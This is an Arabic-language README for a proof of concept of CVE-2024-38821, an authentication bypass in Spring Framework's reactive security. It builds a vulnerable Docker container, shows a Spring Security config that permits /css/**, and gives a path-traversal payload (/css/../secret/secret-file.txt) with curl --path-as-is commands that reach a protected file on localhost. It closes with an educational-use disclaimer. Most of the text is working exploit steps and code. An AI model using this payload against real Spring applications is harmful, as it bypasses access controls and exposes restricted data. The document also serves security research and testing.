
استغلال إثبات المفهوم لـ CVE-2024-38821، يوضح تجاوز المصادقة في Spring Framework عبر اجتياز المسار للوصول إلى موارد مقيدة.
هذا إثبات مفهوم لثغرة CVE-2024-38821
قم ببناء صورة Docker (Spring Boot 3.3.4، استنادًا إلى Spring Framework 6.1.13)
cd vuln
docker build -t cve-2024-38821-poc .
شغّل الحاوية واعرض المنفذ 8080 على الجهاز المضيف
docker run -d -p 8080:8080 --name cve-2024-38821-poc cve-2024-38821-poc
قم بتشغيل الأمر التالي لتنفيذ PoC وتأكيد الثغرة
curl -v --path-as-is "http://localhost:8080/secret/secret-file.txt" # Expected: 302 response (login required)
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt" # Expected: 200 response (bypassed authentication)
إذا نجح الهجوم، سيعرض الرد: This is a secret file.
أنشئ SecurityConfig.java لتكوين أذونات الوصول:
public SecurityWebFilterChain securityWebFilterChain(ServerHttpSecurity http) {
return http
.authorizeExchange(exchange -> exchange
.pathMatchers("/css/**", "/").permitAll() // Static resources and the top page do not require authentication
.pathMatchers("/secret/**").authenticated() // Authentication is required for the "secret" path
.anyExchange().authenticated() // Authentication is required for all other paths
)
.formLogin().and() // Enable form-based authentication
.build();
}
أنشئ الحمولة التالية. بما أن الحمولة تبدأ بـ /css/، فهي تطابق نمط المسار المسموح به. وهي لا تبدأ بـ /secret/، لذا لا تطابق نمط المسار الذي يتطلب المصادقة:
/css/../secret/secret-file.txtاستخدم أمر curl التالي لتنفيذ PoC والتحقق مما إذا كان الهجوم ناجحًا:
# Note: The --path-as-is option is required to send the request without URL normalization.
curl -v --path-as-is "http://localhost:8080/css/../secret/secret-file.txt"
إذا نجح الهجوم، سيعرض الرد: This is a secret file.
يُقدَّم هذا PoC لأغراض تعليمية وبحثية أمنية. قبل استخدامه في نظام حقيقي، تأكد من إصلاح الثغرة ومن حصولك على التفويض المناسب. لا يتحمل المؤلف أي مسؤولية عن أي إساءة استخدام لهذا الكود.